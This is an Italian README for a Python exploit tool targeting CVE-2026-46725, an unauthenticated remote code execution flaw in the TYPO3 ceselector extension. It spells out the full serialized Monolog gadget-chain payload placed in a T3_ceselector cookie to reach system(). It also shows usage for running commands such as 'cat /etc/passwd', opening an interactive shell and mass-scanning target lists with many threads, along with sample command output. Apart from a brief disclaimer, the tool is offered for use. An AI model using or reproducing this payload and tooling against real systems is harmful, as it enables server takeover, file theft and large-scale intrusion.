
Exploit Python per CVE-2026-46725, che permette l'esecuzione remota di codice non autenticata nell'estensione TYPO3 ceselector tramite iniezione di oggetti PHP e catena di gadget Monolog.
Iniezione di oggetti PHP tramite
unserialize()bypass di cookie → Esecuzione di codice remoto
L'estensione TYPO3 ceselector passa il valore del cookie denominato T3_ceselector_* direttamente alla funzione unserialize() senza alcuna validazione. Un aggressore può inserire un payload appositamente preparato di Iniezione di oggetti PHP in questo cookie ed eseguire comandi arbitrari sul server.
⚠️ Prerequisito: Affinché la vulnerabilità possa essere sfruttata, è necessario che nell'impostazione TYPO3 sia attiva la modalità Persistent Mode: Static.
1. GET / → Il server restituisce Set-Cookie: T3_ceselector_<id>=<value>
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ Viene attivato PHP unserialize()
└─ Viene eseguita la catena di gadget Monolog
└─ L'output di system("id") viene riflesso nella risposta
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← Comando OS qui
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requestsPython >= 3.8
requests >= 2.28.0
# Clona il repository
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# Installa le dipendenze
pip install requests
# Oppure con requirements.txt
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
Bersaglio:
-u, --url URL URL del singolo bersaglio
-l, --list FILE Elenco dei bersagli (un URL per riga)
Exploit:
-c, --cmd CMD Comando OS da eseguire (predefinito: id)
-i, --interactive Apri una shell interattiva dopo exploit riuscito
Scansione:
-t, --threads N Numero di thread (predefinito: 10)
--timeout S Timeout in secondi (predefinito: 15)
--proxy URL Proxy (es: http://127.0.0.1:8080)
Output:
-o, --output FILE File dei risultati
-v, --verbose Output dettagliato
--no-color Output senza colori
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# Scansiona con 20 thread, salva i risultati
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30 thread, comando personalizzato
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① Rilevamento TYPO3 & ceselector
────────────────────────────────────────────────────
· TYPO3 ✓ Rilevato
· ceselector ✓ Attivo
· Nome cookie T3_ceselector_48291
· Versione TYPO3 12.4.3
② Preparazione payload
────────────────────────────────────────────────────
· Tecnica Iniezione di oggetti PHP → Catena gadget Monolog
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· Comando id
④ Output RCE
────────────────────────────────────────────────────
┌─ OUTPUT RCE ────────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Data: 2026-05-26 17:30:00
============================================================
[+] BERSAGLI CON RCE OTTENUTA (2)
----------------------------------------
URL : https://typo3-site.com
Versione : 12.4.3
Cookie : T3_ceselector_48291
Comando : id
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ FLUSSO DELL'EXPLOIT │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. RILEVAMENTO │
│ GET / ──────────────────────► Server TYPO3 │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. PREPARAZIONE PAYLOAD │
│ build_payload("id") │
│ └─ Catena gadget Monolog codificata URL │
│ │
│ 3. EXPLOIT │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. VERIFICA │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
Questo strumento è sviluppato esclusivamente per scopi educativi e test di sicurezza autorizzati.
- Utilizzalo solo sui tuoi sistemi o su sistemi per i quali hai esplicita autorizzazione scritta.
- L'uso contro sistemi non autorizzati è illegale e può comportare conseguenze legali.
- Lo sviluppatore non può essere ritenuto responsabile per l'uso improprio di questo strumento.
CVE-2026-46725 | TYPO3 ceselector RCE | Exploit Python
| Campo | Dettaglio |
|---|
| ID CVE | CVE-2026-46725 |
| Prodotto | Estensione TYPO3 ceselector (mmc/ceselector) |
| Versione interessata | <= 1.1.3 |
| Tipo di vulnerabilità | Deserializzazione non sicura (Iniezione di oggetti PHP) |
| Punteggio CVSS | 9.8 Critico |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserializzazione di dati non attendibili) |
| Punteggio EPSS | 0,0046 (percentile %64,3) |
| Autenticazione | Non richiesta (non autenticata) |
| Impatto | RCE completo — Controllo totale del sistema |
| Ricercatore | DhiyaneshDk |